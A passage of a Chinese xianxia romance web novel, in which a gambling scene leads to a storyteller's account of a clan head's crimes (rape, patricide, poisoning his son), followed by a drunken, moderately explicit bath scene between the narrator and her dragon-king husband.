“所以我们才要验明二位正身,我们相信,能上仙域酒店八层贵宾区的仙家、凡人,肯定都不是等闲之辈,都是在族中有身份有地位的一族长者或话事人。 只要二位愿意自报身份家族,同我们赌这一局,我们就信二位是清白的,信二位绝不会辱没了家族清誉。” 让我们自报家门? 可我……没什么身份啊! 支颐看戏的昙娘闻听此言,饶有兴致地也开了口: “从前的确有最后一局自报家门,以家族名义对赌,以保证赌局公平公正的先例。 若真有人出老千,搬出家族清誉,也可震慑其一二。 相信诸位仙家出门在外,都是万万不会做给自己家族抹黑的事。 本酒楼的赌场的确有条不成文的规矩,只要最后一局被质疑的一方接受对方的检验身份,那就证明她当真是清白的。 所以,两位姑娘还要继续赌下去吗?” 我身边的漂亮女子挑眉笑吟吟答道: “当然。都已经赌到这一步了,还能让对方胜之不武了吗? 不就是自报家门吗,简单,两位哥哥先请。” 对方两大老粗相视一眼,客气地拱手说:“洞庭,黑鲤仙君,莫雾山!” “东北灰家旁支九十八代嫡孙,冯英。” 轮到我们两个了,美人儿化出一柄绣桃花的团扇,掩面优雅从容地屈膝向对面一礼,巧笑嫣然道: “冀州,苏氏,苏灵儿。” 冀州苏氏…… 听着好生耳熟。 而原本还围在外圈与二楼栏杆后凑热闹的仙家们闻言竟是瞬间止住了嘈杂议论,大厅里霎时鸦雀无声—— 就连对面那两位,胸有成竹颇有把握的讥诮表情也石化在了脸上! 我不明状况地环视四周,目光扫过一张张神情僵硬诧异的面孔,迷茫低喃:“什么情况?” 美人儿嘴边依旧衔着得体的微笑。 昙娘惬意端起茶碗,悠哉品鉴。 整个赌场,也就只剩这位老板娘还有心情面不改色地看热闹了。 良久,四下才稍有窃窃低语。 “冀州苏氏!竟然是苏氏后人!” “苏氏不是行事向来低调,已经近万年没有族人现身于世间了么……我们先前还以为苏氏已经灭族了呢!” “嘘,别胡说。苏氏那位狐祖可是人皇夫人,苏氏狐族有上古人皇血统,怎会轻易灭绝。” “那两个老赌鬼这回可是踢到铁板了,不晓得这位姑娘此次前来仙域酒楼又是所为何事……” “突然有点同情她身边那个小姑娘了,一介凡人,就算后台再强大,也无法与冀州苏氏狐族后人相比…… 此局过后,下一局就该她二人对赌了,我押两千颗金珠,赌这小姑娘等会儿会输得超难看!” “我也押三千颗,赌苏氏后人会是最终赢家!” “这还赌个屁啊,根本没人押另一位小姑娘……” “除非那位小姑娘是京城殷家的人,否则,别想逆风翻盘。” 我:“……” 我还在这呢! 这就赌上了? 能不能尊重点我! 不过,冀州苏氏、人皇夫人…… 倒让我想起一个神话传说—— 冀州、苏妲己。 她难不成真是苏妲己的后代? 我狐疑地扭头看她,她迎上我探究的目光,被我抓住的那只手主动握住了我指尖,以扇掩面小声安抚我:“我不会与你为敌,放心,我是你的队友。” 我本来也没想过要与她为敌,我只是在好奇…… 她的老祖宗真是苏妲己吗? 苏妲己真是狐妖? 神话传说,究竟几分真,几分假…… 对面那俩大老粗缓过神来,尴尬得连忙抱拳作揖:“原来是冀州苏氏,久仰久仰……” “那个、旁边那女孩,你呢!你又是凡界哪个家族的?快报上名来!” 东海龙王六儿子三舅干闺女大嫂家三弟的亲叔叔他跟班这回索性直接将矛头对准了我。 这种赌局,的确挺考验人性的。 上一秒是队友,下一秒可能就是劲敌。 而我就是他们口中的苏氏后人下一场的敌人,所以这会子他们也就只敢欺负我来讨好苏灵儿了。 可我、哪来的家族啊! 我们黄河边上的风姓,也就只有我家和风大年家两户了…… 就算报出来,他们也没听过啊。 我尴尬张了张嘴,打算硬着头皮坦白:“我……” 可紧要关头,粉衣侍女弯腰附在昙娘耳畔不知说了些什么。 昙娘听完便脸色大变,猛地起身肃色制止: “这位不用上报!她的身份,你们还不配知道!” 第119章 东北白家秘闻 此话一出,满堂又是一阵寂静。 只是这回,大厅里连窃窃私语都不复存在了。 仙家们皆心照不宣地没有多问一句。 昙娘染了蔻丹的笋白玉手放回竹筒上,眯眼狡黠一笑: “甲大乙小,两位仙君押大,两位姑娘押小……是大是小,即刻揭晓。” 竹筒拿开,里面的三枚骰子竟是相同的两点。 赌到现在,我甚至觉得我们赢得毫无悬念。 对面那二人愿赌服输,看见结果后只能认命退离。 昙娘握着竹筒朝苏灵儿娇俏笑问:“小祖宗,还比吗?” 苏灵儿笑眼明媚,拉上我的手,仗义道: “我和她,是一起的。她想问的问题,就是我想问的。” 我意外扭头看她,原来,她这回只是单纯陪我一起玩。 她是有心在帮我赌赢这一局。 昙娘会意阖目,娇媚轻嗔: “若与你比,那我现在便认输,你我之间,没有比下去的意义。” 优雅抬手,打了个响指…… 下一秒,赌桌、水晶灯、宽敞的大厅、四周围满的仙家们尽数消失不见。 再抬眸,我与苏灵儿已经坐在了一间焚着鹅梨帐中香的昏暗花房内了。 花房里种满了奇花异草。 含苞待放的月昙花,大气张扬的孔雀蓝铁线莲、种在陶瓷花盆里的矮枝桃花、还有开得温柔娇俏的一大片芍药…… 各种花香掺着鹅梨帐中香的香甜气息,闻着不觉繁琐,反而多重香味碰撞融合,滋生出了另一种沁人心脾,闻着便让人心情大好、神清气爽的味道。 明亮的顶灯从茶桌正上方照下来,花丛中添了几只古色古香的鹅黄灯笼,灯笼上绘着仕女赏花图,不为照明,只为装饰。 昙娘坐在我与苏灵儿对面,伸手将桌上的酒坛拆布开封,捧着坛子把酒水倒进右手边宽口矮脚鼎状雕河伯娶亲图案的青铜酒器里。 取过舀酒的翠色竹筒,挥手在桌上变出两只墨玉酒盏,自酒器内盛酒添满。 两杯酒推到我与苏灵儿眼前,昙娘热情说: “尝尝本酒店的特色,青红酒。 此酒因盛于坛中为青色,但引入盏中却会变成清新透亮的琥珀红玉色而得名。 如今人间会酿此酒的凡人极少,千年前我有幸跟一位资深酿酒师父学过此酒的酿法。 今日招待二位的,便是昙娘亲手所酿的青红酒。 酒水发酵好后,可是封于桃花树下存了三年,今日方挖出开封。” 苏灵儿落落大方地拿起酒盏,朝昙娘浅笑示意: “既然是昙娘的一片心意,那我可得好生珍惜,好好品鉴。” 说完,抿了一口,眉眼染笑地夸赞: “有桃花香的青红酒,此生还是第一次品尝到。昙娘果真是整个东北最有巧思的妙人儿。” “过奖。”昙娘满意颔首,青丝松懒高挽,发间一朵白昙花清雅脱俗。 见我还没尝,昙娘便抬手化出小檀香扇,展扇慢悠悠地摇着,和善提醒: “贵客,昙娘回答您问题的时间有多长,取决于,您愿意陪昙娘喝多久的酒。 贵客莫不是不会饮酒?呀,那当真可惜了。 万一贵客一杯倒,岂不是昙娘话还没说完,贵客就醉了?” 还有这个规矩…… 我瞧了眼手边的青红酒,不加犹豫,拿起来抿了一口。 我从前是没喝过几次酒,但我听家里的老酒鬼蟒仙说过,喝酒一杯倒与千杯不醉并不受此人有没有喝过酒,是否常饮酒影响,主要是和个人体质有关。 千杯不醉与一杯倒这种极端体质,在正常人中并不常见。 酒水这种东西,大部分人都是能小酌上三五杯的,至少连续品上半个小时意识还清醒。 我肯定不是倒霉的一杯倒体质,能撑上半个小时就够了! 冰凉的酒水滑下喉头,进入腹中,胃中顿时生出一股温热感。 酒水度数怕是不低,喝起来辣嗓子。 见我听话喝了青红酒,昙娘抬手客气询问:“贵客,想知道些什么?” 我理智地同她确认:“今天我问了什么问题,应该不会被泄露出去吧?” 昙娘摇着扇子眨了眨漂亮的丹凤眼: “放心,我们会为客人保密的,我们仙域酒店最尊重客人隐私了。” 我考虑片刻,尽量将心中疑团精简压缩成一个问题…… “白家主,为什么要对儿子白无尘下毒?” 昙娘摇扇子的动作一顿,讶然道:“好家伙,上来就问这么高深的问题。” 苏灵儿浅笑未语,只淡定品着昙娘添的酒水。 我镇定自若地反问:“怎么,昙娘不敢回答?” 昙娘动作利落的啪一声收了手里小檀香扇,挑眉傲娇道: “你瞧你,又拿话激我。东北这片地盘,怎会有我昙娘不晓得、不敢说的事!” 提着檀木扇,用扇尖点了点我面前的酒水,示意我继续喝。 又挥手施法给自己准备一杯,举起酒杯邀我共饮。 我很给面子地抬盏与她碰杯,昂头将盏中酒一饮而尽。 昙娘准备的酒盏很神奇,只要盏中酒水喝空,下一瞬杯中就又会续上一满盏…… 这无限续杯的功能搁在这用,实在太阴了! 昙娘边品着酒水,边姿态妩媚地倚在桌前幽幽讲述: “白无尘,是东北白家家主的三儿子。 天生极品灵根……啊呸,当然这是外面那些人的叫法,和修仙文学的。 说人话就是,天生仙胎,天赋极强。 所谓的仙家,不过是群没有得道的动物,在古代,人们都称之为,妖怪。 只是东北这片地方的妖物们比较有上进心,一个两个都想着修炼成仙。 而妖物想要修成仙,最安全的一条路,就是积善行德,挣得功绩。 待功德圆满,方能飞升上天。 由此,才有了东北保家仙。 显然,白家家主全家都是未成真仙的仙家,按理来说,白家主的子嗣也该是普通仙家。 可偏偏,三公子白无尘一降生就是真仙。 且三公子在医学方面的天赋极强,三岁就会给人看诊,五岁就熟背天下医书,八岁可自创药方活死人肉白骨,九岁制出来的毒连他亲爹都害怕。 那时人人都说白家要崛起了,兴旺了,前途无量了。 但三公子三百岁时,却突然暴毙。 外界都说三公子乃是东北五大家族的大才,假以时日定能飞升天界,成为白家最坚实可靠的后台,可惜福薄命短,白家人没有那个成仙的命。 可事实却是,三公子并非急症暴毙,而是被白家主下了本家镇族之宝,剧毒断魂灭魄散。” 昙娘有心催着我一杯接一杯地喝,几句话的功夫,我已经喝完三盏了。 好在,暂时还没有头晕醉酒的感觉。 “要说白家家主为何要对这个家族唯一的希望,自己八子中最有出息的一个儿子痛下杀手,还要从白家主年轻那会子的风流往事说起。 千年前,白家主曾与柳家家主的外甥女柳凤媖相恋,彼时白家主老爹还没有升天,他还仅是白家最不受宠的小少主。 那会子的白家主是个实打实的小奶狗,性情单纯,为人和善,头脑简单。 柳凤媖却是五大家族中最出名的绝世大美女,长得那叫一个花见花羞,鸟见鸟亡。 柳凤媖自幼就失去了双亲,是在柳家主膝下长大的,且颇受柳家主宠爱。 从小到大都是要什么有什么,养得一副骄纵顽劣、目中无人的性子。 偏偏这两个性格差距最大的人,却互相产生吸引,越走越近。 白家主爱柳凤媖的自信洒脱,柳凤媖爱白家主的唯命是从。 白家主被美艳张扬的柳凤媖吸引得一日不见就犯相思病,柳凤媖也被白家主的纯真乖顺撩得春心荡漾。 就这样,两人私下没把持住,悄悄把事办了。 后来事情被柳家主发现,柳家主震怒。 柳白两家之间隔着宿仇,柳家主自是不愿让自己捧在手心的明珠嫁给白家人。 何况,还是白家那个有名无实头脑简单的榆木少主。 柳家主把柳凤媖关在了府里,不许柳凤媖再出门与白家主见面,还扬言要把柳凤媖嫁给柳家旁支的一位小族长。 至于白家主这头,也不好过。 白家主的爹得知白家主和名声不好的柳凤媖鬼混在了一起,气急败坏的拿棍子把白家主一双腿都给打断了。 柳白两家本想借这种方式强行拆散白家主与柳凤媖,可架不住白家主是个死心眼的痴心汉啊! 为了能再见到柳凤媖,白家主在府里闹绝食,饿了五天水米未进。 药也不吃,就任由自己的伤势愈发严重,妄图用自虐的方式逼老家主放他出去。 可惜老家主压根不在乎他,哪怕他伤口感染发高烧晕死过去,老家主也没去看过他一眼。 白家主就这么生不如死的被囚禁在家里半个多月。 一日白家宴请宾客,他便趁机撬门逃了出去,拖着一双断腿拼命爬到了柳家家主府门口。 当晚他如愿见到了柳凤媖,但却从柳凤媖口中得知了一个让他无法接受的坏消息。 柳凤媖说,她答应嫁给柳家旁支的那位族长了。 原因很简单,无关家族恩怨,只是因为柳凤媖从一开始就是抱着玩玩而已的心态和白家主在一起的。 她嫌白家主软弱势微,觉得白家主只适合谈恋爱,不适合结婚。 她说她都无法确定,白家主这个小少主最后能不能顺利继任家主。 而那位柳家旁支的小族长就不一样了,他家大业大,柳凤媖一嫁过去就是族长夫人,千金万金任其挥霍。 嫁给本家那位小族长,比嫁给白家主要日子滋润舒爽。 所以,她选择听从柳家主的安排,不要白家主了。 白家主被这个晴天霹雳劈得久久无法接受事实,再去祈求柳凤媖回心转意,却被柳凤媖命人乱棍打出了柳家。 柳凤媖出嫁那天,白家主拖着一双瘸腿追在轿子后哭得撕心裂肺。 可柳凤媖却觉得丢人,直接让身边侍女拦住白家主,还将白家主好一顿羞辱。 白家主回去后,就大病了一场。 而这期间,白家主的父亲不管他,母亲嫌弃他。 只有一个义妹,不辞劳苦地好心去照顾他,给他喂药。 但他,却在烧迷糊的时候,把这个义妹给当成柳凤媖……强迫了。” 我差点没端稳手里的酒盏,惊愕抬头:“什么?” 苏灵儿诧异道:“这么不干人事吗?” 昙娘心累点点头,说下去: “结果呢,就那一次,这个义妹就怀上了白家主的孩子。 老家主的义女被人搞大了肚子,老家主自是气不打一处来。 为了逼义女说出奸夫是谁,老家主甚至动了家法。 白家那位小姐虽然有心替白家主遮掩,害怕老家主因这件事更厌恶白家主,可内心深处,还是希望白家主能站出来保护自己和孩子的。 但白家主没有,白家主心底依旧对柳凤媖回心转意抱有希望,他根本不愿意承认自己碰过义妹。 最终那位小姐受不了家族酷刑,说出了孩子是白家主亲子的真相。 老家主得知此事后,却一反常态地没有对白家主喊打喊杀,而是直接做主把义女许配给了白家主。 这个义女,就是白家主的原配夫人,白无尘的亲娘。” 我着急追问:“是如今的白家家主夫人么?” 昙娘摇头:“不,如今的白家家主夫人,是柳凤媖。” 我不解道:“那原来的白家家主夫人呢?” 难怪,现在那位会联合白家主再次置小白于死地。 昙娘说:“外界说,死了。” 苏灵儿惋惜道:“竟然死了……” 昙娘不紧不慢地讲述: “白家小姐说出真相,被老家主做主许配给白家主为妻后,白家主就因此恨上了义妹。 他觉得义妹的存在是他与柳凤媖再续前缘的阻碍,所以,他恨他义妹。 不久,白家主弑父夺权,成了新任家主。 白家小姐生下三公子后,就被家主赶去后院柴房住了。 白家主不许义妹看望亲生儿子。 三公子百日那天,白家小姐郁结在心,上吊自尽了。” 第120章 曦曦,我热…… 原来,小白的亲娘已经不在世上了…… 如若小白亲娘还活着,见到小白变成现在这样,定是心疼得肝胆俱碎。 “白小姐殒命,三公子便被白家主视为人生污点,随意丢弃给府中奴仆抚养。 三公子终究,还是成为了第二个幼年时期的白家主。 昔日白家主曾饱受亲父偏心苛待折磨,后来,却学着那个伤害他的人将这份苦加注给了三公子…… 真真应了那句,屠龙少年最终成了恶龙。 三公子乃是白家真正的嫡子,名正言顺的少主。 上头两个哥哥都是白家主在刚成年时与自己卧榻之侧的暖床丫鬟所生。 白家主继任家主后,大公子和二公子的生母也被抬为了妾室二夫人三夫人。 三公子自幼没有亲爹娘照拂,生活得甚是艰苦。 但好在,抚养三公子的奴仆是个正直善良的人,明知白家主不喜欢这个孩子,也没有故意苛待忽视,反而将之视为亲子,百般疼惜。 白家旁的公子自幼便享受家族资源鼎力供养,三公子虽一无所有,但却仍能凭借自身努力与超高天赋,成为白家主九个孩子中最有名的那个。 只是即便如此,三公子也换不来父亲的一次目光停驻。 原本,三公子在白家的生活虽是清苦,可日子好歹还算平静自在,能继续过下去。 然,所有人都没有想到,两百年前,柳凤媖的丈夫在与同族堂兄弟争地盘斗殴时,被堂兄给活活打死了。 柳凤媖也一夜之间成了寡妇。 白家主好不容易等到这个天赐良机,得知消息当天就带着丰厚聘礼跑去柳家家主府下聘了。 彼时白家主早已不是数百年前那个懦弱无能、没权没势被视为家族笑话的软骨头少主了。 柳家家主见白家主态度诚恳地送了那么多奇珍异宝,还许诺给他们诸多好处,加上白家主今非昔比,有权有势。 当年拒绝一个软弱少主轻而易举,不会招惹来任何麻烦,可如今软弱少主成了一族之主,再像当年那样不给面子,恐会为两家惹来兵戈。 出于实际情况考虑,柳家主很快就给了回应。 说是想征求一下柳凤媖的意见,只要柳凤媖答应二嫁给白家主,柳家即刻为柳凤媖再备嫁妆,送柳凤媖风光嫁进白家。 那会子,摆在柳凤媖面前的只有两条路。 要么嫁给新族长,她丈夫的堂兄做小妾。 要么二嫁给白家主,做续弦夫人。 柳凤媖多精明啊,果断便选择了第二条路。 不久,柳凤媖风风光光嫁去了白家,成了白家名正言顺的家主夫人。 可她嫁过去后,却发现现实和自己想象中的很不一样。 昔年的小奶狗白家主,当时已经成了一条心狠手辣、狠戾绝情的恶犬。 由于当初是她为了荣华权势主动抛弃白家主,另嫁给他人的。 彼时再见白家主,她难免会有些心虚胆颤。 不过刚结婚那段时间,白家主倒是有意不提当年旧事,不翻旧账。 和柳凤媖相处,与寻常夫妻无异,嗯…… 只是不再像年轻时那样亲密无间,暧昧甜腻了。 白家主与她,算是相敬如宾。 但柳凤媖此人本质上还是个贪得无厌、骄奢猖狂之辈,白家主的态度让她以为白家主不怪她,心里还深爱着她。 于是,嫁入白府不到半年,她就开始试着作妖。 先是为争宠打死了白家主的二夫人与三夫人,后又拿白家主身边的侍女撒气。 整个白府,只要是只母的,她都怀疑对方想勾引白家主。 她在府中胡乱祸害,白家主充耳不闻,视若无睹。 白家主越是这种反应,她便越是胆大,越觉得白家主还像当初那样,爱自己爱到入魔。 不久,她就将目标放在了被养于后院的三公子身上。 她恨三公子母亲抢了她的家主夫人位置,害她明明可做原配,如今却成了续弦。 恨三公子才华横溢天赋太强,因嫡子的身份,占了少主的位置。 她怕自己以后的儿子比不过三公子,当不上白家少主,于是,她就想铲除三公子。 她在白家主耳畔哭诉三公子生母趁人之危,玷污了白家主,抢了本该属于她的家主夫人身份。 还挑拨白家主与三公子的关系,进谗言污蔑三公子名气太高,恐有取代白家主之嫌。 白家主的家主之位是如何得来的,白家主自己心中最是清楚。 多年前他一懦弱无能之辈都敢手刃亲爹篡位为尊,何况是生来仙胎,天赋极强的三公子。 三公子自降生以来,他这个亲爹是如何待三公子的,他心里门清。 若真让三公子成了气候,夺走白家的掌家大权,三公子是否会像他当年对自己亲父那样,收拾自己,白家主也不敢确定。 是以,在白家主的认知里,三公子的确是把悬在白家主头顶的剑。 于是白家主为了哄柳凤媖开心,让柳凤媖安心,也为了让自己可高枕无忧,便在三公子的饭菜中下了祖上传下来的白家剧毒,断魂灭魄散。 可怜那三公子身中剧毒时,还在研究为族中人治时疫的方子。 三公子毒发那夜,求救声传遍了整个白府。 所有人都充耳不闻,只有养三公子长大的那个奴仆抱着痛不欲生的三公子嚎啕大哭。 那个奴仆为了三公子不惜夜闯家主与夫人的卧室,结果,却被家主夫人残忍杀害。 三公子乃是仙胎,白家的毒下在旁人身上,可能顷刻便会咽了气。 但三公子却因拥有仙体的缘故,硬生生被剧毒折磨了一整夜才断气。 天明时分,白家主让下人直接将三公子的尸体丢去了乱葬岗。 三公子那可怜见的娃儿,死时,也不过方三百岁。” 小白……生前竟受了这么多苦。 难怪柳云衣从前说,小白虽医术高明,却掌控不了自己的生死。 我心里很不是滋味地埋头饮酒。 苏灵儿支额好奇道: “那白家主为了柳凤媖,连亲儿子都肯下杀手,这般爱重柳凤媖,怎的现在却小妾一房一房地往家里抬?” 昙娘把玩着手里的折扇嗤笑道: “你可曾听过,爱之深,恨之切? 白家主已不是从前的单纯小奶狗了,连亲爹都能杀,一同长大的义妹都忍心逼死。 心理啊,早就变态扭曲了。你且继续听一听,这白家的好故事。” 举杯与苏灵儿碰盏,昙娘脸颊微红,媚眼染上浅醉: “白家主是能为柳凤媖残害亲子,但柳凤媖也因此,失去了孕育后嗣的机会。 杀三公子,有一半的原因,是白家主害怕三公子成为第二个自己,杀父篡权。 白家主自己想杀三公子,只是顺带着,满足了柳凤媖的心愿。 三公子惨死后,柳凤媖更加笃定白家主深爱自己入骨。 甚至,还自以为照这个情况发展下去,迟早能再次拿捏住白家主。 谁知她正春风得意着呢,白家主却亲手灌了她一碗汤药,她喝完才知道,是绝子药。 白家主这样做,就是要让她在最得意的时候,从云端狠狠跌下泥潭。 她想和白家主有个孩子,想让自己的孩子做少主,白家主偏要让她一生无子。 她那时候才明白,原来白家主从未原谅过她。 她拼了命地讨好白家主,妄想和白家主回到从前。 然换来的,却是白家主一房一房小妾抬进家门。 她生气地打杀那些小妾,可她杀一个,白家主次日就抬进门两个。 她想独得白家主恩宠,白家主偏偏夜夜留宿妾室房中。 她闹得狠了,白家主便不客气地直接用狠毒手段惩罚她。 她啊,后来是被白家主吓怕了,才老实下来。 这两百年来,她是如愿嫁给了白家主,当上了家主夫人,白家主也的确给了她一个夫人该有的地位与权势。 但白家主日日都在用别的女人刺激她,让她明明想要的就在眼前,却偏偏得不到。 白家主这是在故意羞辱折磨她呢。” 苏灵儿饶有兴致地慢悠悠转着酒杯:“原来如此……老东西挺会玩。” 说罢,苏灵儿有心提醒我:“还有什么想问的吗?” 不是只能问一个问题么? 好在我这会子脑子转得快,不加犹豫地张口就问: “如果中了断魂灭魄散,除了拿到白家主手里的解药,还有没有别的法子可以解毒?” 赌她现在醉意上头,反应不过来。 “嗯,有。”昙娘淡定回答。 我心头一喜,忙追问:“是什么法子?” 昙娘一双水灵灵的漆瞳熠熠生辉,执折扇,挑起我的下颌,笑着调侃我: “你们二人当真心有灵犀,搁这糊弄我呢,这已是第三个问题了。” 我心虚噎住。 苏灵儿悠哉饮酒,漫不经心地提醒昙娘: “她身边,可跟着你们阴山狐族的君主。别逗她,当心她回去告状,你家君上找你算账,揪你耳朵。” 昙娘当即害怕地捂住双耳,委屈抱怨:“你又吓唬我,真是为老不尊。” 苏灵儿笑道: “我这也是为你好,你应该,还未见过你家君上吧。 她想知道的事,大抵也是你家君上想知道的,你现在不回答她,也可以。 等晚点可以让你家君上亲自来找你,届时你再同他赌一把,看看他是肯守你的规矩老实与你赌色子,还是揪你耳朵治你个犯上大不敬之罪。 你如今扎根东北,可你爹娘还生活在阴山呢。” “呸呸呸,我们阴山狐族的君上才没有你说得这么凶呢! 我是没见过君上,但我能有今天全因当年君上仁慈,大发慈悲放了我一马,饶了我一命! 我们君上可是有名的陌上人如玉,公子世无双,温文尔雅,英明仁善!” “好了别拍马屁了,先回答我姐妹的问题。”苏灵儿含笑打断。 昙娘摇着檀木香扇闷咳两声,清清嗓子: “嗯……断魂灭魄散的解药,除了白家主手里那份,还有一份,也在白家。 往后院寻,茉莉花开处,自有生机来。” “茉莉花开处,自有生机来……”我默默将这十字铭记于心。 昙娘又道:“不过,这是没有办法的法子,这个解药……能不用,便不用。” 我思忖一阵,点头:“嗯。” 昙娘回答完我,又去逗苏灵儿:“好闺闺,你和白家主纠缠不清,你家那位醋坛子不生气么?” 苏灵儿摊手:“我没告诉他,被他知道,你今天就看不见我了。” 昙娘会心一笑:“你学坏了。明天进白府,切要当心。” 苏灵儿颔首:“记着了。” 白府…… 我问苏灵儿:“你明天要去白家?是我刚才问的那个白家吗?” 苏灵儿点点头:“嗯。” 昙娘笑着告诉我:“她啊,就是白家主将要迎娶的第十八房小夫人。” 我:“……啊?” 这该死的白家主,这么年轻漂亮的小姑娘,都忍心糟蹋! 不要脸! 从花房离开前,我的脑袋还是清醒的。 谁知刚迈出花房,我就被铺天盖地汹涌袭来的醉意给冲昏了脑袋,腿一软差点摔地上。 幸好苏灵儿及时伸手扶了我一把,这才帮我重新站稳重心。 “当心!”苏灵儿紧张提醒。 我头昏眼花走路腿打飘的晃了晃沉重发烫的脑袋,无法理解的颠三倒四呢喃: “怎么、会这样……这酒劲怎么、一瞬间就上头了!” 苏灵儿搂住我的肩,护着我慢步往前走,无奈道: “不是酒劲一瞬间上头,是花房里有提神香,那香能助人保持头脑清醒。” “难怪,刚出来就原形毕露了。”我拍拍脑壳欲哭无泪。 苏灵儿浅声问我:“你住在哪间房?房号多少,我送你回去。” 我意识愈发模糊地揉了揉滚烫脸颊:“86、23……没事,我可以自己摇人。” 说着,我胡乱往腰间摸了摸,从裙身口袋里掏出那枚紫水晶扇贝铃铛……双手无力地费劲晃了晃。 铃铛发出两声悦耳清响,我赶在自己撑不住倒进苏灵儿怀中的前一秒,张嘴低声呼唤:“阿曦……” 人倒下去的那一刹。 一只微凉大掌撑住我的腰脊—— 紧接着,我就被男人一臂卷回了那个萦着浅浅玉灵花香的清凉怀抱。 脑子晕得不行,可我的触感,却比我的脑子先一步认出他。 “曦曦……抱我,我热……难受。” 第121章 我要在上面! 我伏在他怀里说话不过脑子地胡乱哼唧着。 他心疼抬手护住我的脑瓜子,拿我没办法的温声轻怪:“傻阿萦,怎么喝了这么多酒?” “曦曦,我都知道了……等回去,我告诉你一个秘密……” 我搂住他的脖子,滚烫的脸颊往他脖窝里埋,有气无力地喃喃着。 他耐心回应:“好,阿萦乖,等回房间我们再慢慢聊。” 稳稳将我打横抱起来。 “你是何人?” “这个问题应是我问你才对……你是她的什么人?” “本王是她夫君。” “哦,原来是……新姐夫。” “你一条修行数万年的狐狸唤本王的夫人姐姐,你好意思?” “那有什么不好意思的,我这副容颜,放在凡间顶多二九年华。唤她一声姐姐,有何不可?” “厚颜无耻。” “多谢夸奖,我们狐狸,还真是以厚颜无耻为荣。 看您一身金光,周身仙气萦绕,体有异香,应是真龙。 您就是黄河龙王陛下吧?” “你不在人皇身边老实待着,跑来东北仙域做什么?” “闲得无聊,想逛逛。” “本王警告你,若敢对本王夫人动手,本王就去同你男人算账!” “您瞧您,疑心真重,我会对自己的好姐姐下手么? 今日只是与姐姐有缘,恰好碰上,共饮了几杯。 您知道的,我若真想害她,她没有机会摇铃召唤您的。” “不会害本王的夫人便好!她醉了,本王先带她回去。” “回去后,先给她用酒店房间准备的养心花泡泡澡,她喝了昙娘的酒,若不纾解,会吐出来的。” “知道了。” 模糊的意识再次苏醒,我睁开眼,发现自己已被泡进了盛满鲜花温水的大浴缸里…… 长发湿漉漉地贴着后背,后背抵着光滑的白瓷浴缸壁。 浴缸中的洗澡水是乳白色的。 闻着还有一股奶香。 水面漂浮着红黄白三色花瓣,氤氲水汽很快就模糊了我的视线。 我不安地从浴缸里坐起来,浑浑噩噩地到处找人,糊里糊涂还想往外爬。 但好在,一双让我倍感熟悉的微凉大手按住了我的肩膀,稳住了我的心神。 再次被按回温热的鲜花牛奶浴里,我脖子发烫,喘息急促地抬胳膊抓住他按在我肩上的那只手…… “帝曦……” 他撩了捧水打湿我的长发:“嗯……” “你靠过来些……”我嗓音微哽,浅浅蛊惑。 他怔了下,大手顺着我的肩线往下滑,探入水中…… 薄唇附在我耳畔,滚烫吐息扫得我耳尖火辣辣的燥热。 “已经,很近了……” 我不甘心地借着酒劲,壮着胆子猛回身。 抬起水淋淋的手指,抚上他酡红的俊容,喘着热息醉眼迷离地盯他薄唇…… 贪心作祟,我倏然昂头,探身一口吻住了他的唇—— 抵在他胸膛上的那只手清晰捕捉到他心跳漏了一拍。 我贪婪的得寸进尺,双臂像两条水蛇般,紧紧缠上了他的脖子…… 对他的薄唇又啃又咬。 他身上的体温迅速飙升,隔着衣袍,都能感受到丝丝热息。 名为欲望的心海,顷刻决堤。 他开始试着回应我的吻,一条手臂探进水中,捞住我雪白纤细的腰肢。 搂着我单薄的身子,往他怀里摁。 我见时机已到,厚着脸皮放开刚上头的他,视线模糊的晕乎乎提要求:“曦曦……下来。” 他胸口的起伏愈发激烈,抱着我试图唤醒我的神识: “阿萦……不可以这样,你只是喝醉了。” 我听了这话,很不满意地往他怀里蹭,大口喘着粗气低喃: “我只是、喝醉了……不是、不记得了。曦曦……陪我,我想你陪。” “阿萦……” “你不陪我……是因为、不喜欢我么?” 我昂起雾蒙蒙的双眼,可怜巴巴地盯着对面那位俊脸泛红的清隽龙君,卑微询问:“我怎样做,你才能喜欢我?” 他搭在我腰间的大手,指尖一颤。 深深凝视着我的眼睛,他眼神复杂地哽了哽,小声问: “本王、陪你,就能证明,本王爱你么?” 我歪头认真说:“至少,能证明你不讨厌我。” 他沉默一阵,再抬眸看我,眼底无限深情与疼惜—— 我缠住他的脖子,臂上稍稍用力…… 他半推半就地被我压倒在浴缸里。 水面摇晃,几片花瓣被温水拍出了浴缸,溅在了外面的白瓷地板上。 我顺理成章地伏在他身上,吻他,向他索要爱意…… “衣服……”我醉醺醺的轻吟。 他抓住我的手,清澈嗓音温柔得不像话:“想?” 我浑身无力,燥热难耐地吞了口口水,主动去扒他的衣袍…… “我帮你。” 三下五除二扒了他的衣服,肌肤相贴那一刻,我没忍住低头,亲了他的喉结…… 他抬手罩在我的后脑勺上,深情吻我额头。 “先下去,上面……” “会承不住。” 他翻身与我呼唤了方位,将我拢在怀里,悉心呵护。 他认真吻住我,默默收紧揽在我腰上的手臂。 温热的泡澡水泡得我全身毛孔舒展,身心放松。 他的吻勾得我神魂颠倒,欲罢不能。 我抬手抓住浴缸边缘。 热水浴洗去了一身倦意。 他低头吻住了我水淋淋的肩,悄然抓住我的手,与我十指相扣,玉指用力。 我紧皱的眉头被迫舒展,他边努力,边心跳极快地和我说: “阿萦,本王不讨厌你……” “本王、深爱着你。” “本王觊觎了你……很多年。” 我下意识抓紧他的手,在他手背抠出痕迹。 好奇心大发,我满身是汗地向他撒娇:“我想试试,你的位置。” “让我上去……” 他担忧拧眉:“阿萦……” 我执拗道:“我要做个、不畏艰险的勇士!” 他:“……” 后来,我才明白他为什么不许我上去了…… “算了……我还是做懦夫吧,曦曦,放我下去……” 我欲哭无泪。 他以唇封住我的口,阻止我的乱喊,喉音沙哑:“晚了!” 可是这样。 他真的不会得腱鞘炎手腕痛么? 空气中弥漫着清浅的玉灵花香,梅花绽在他脖子与胸膛上,糜艳诱人。 他在极艰难的条件下把我清干净,包进浴袍里,抱回床上。 来不及再去忙别的,就被我一把拽进了被窝里…… 我抱住他,意识不清地低声八卦: “我从昙娘那,听说了白家主年轻时的风流往事……” “他好渣,明明是他自己认错人,伤害了小白的母亲,还恨小白母亲告诉老家主实情……” “就因为小白有出息,他就忌惮小白……” “还在柳凤媖的挑拨下,杀了小白。” “他不配做父亲!” “……曦曦,你以后不可以做渣爹。” “我们如果有孩子了……你一定要疼他,宠他。” “我不能让我的孩子,和我一样,没有爹妈护着,被欺负。” 他撩开我额角汗湿的碎发,沉声答应: “好。我们若是有孩子了,便将他放在身边养着…… 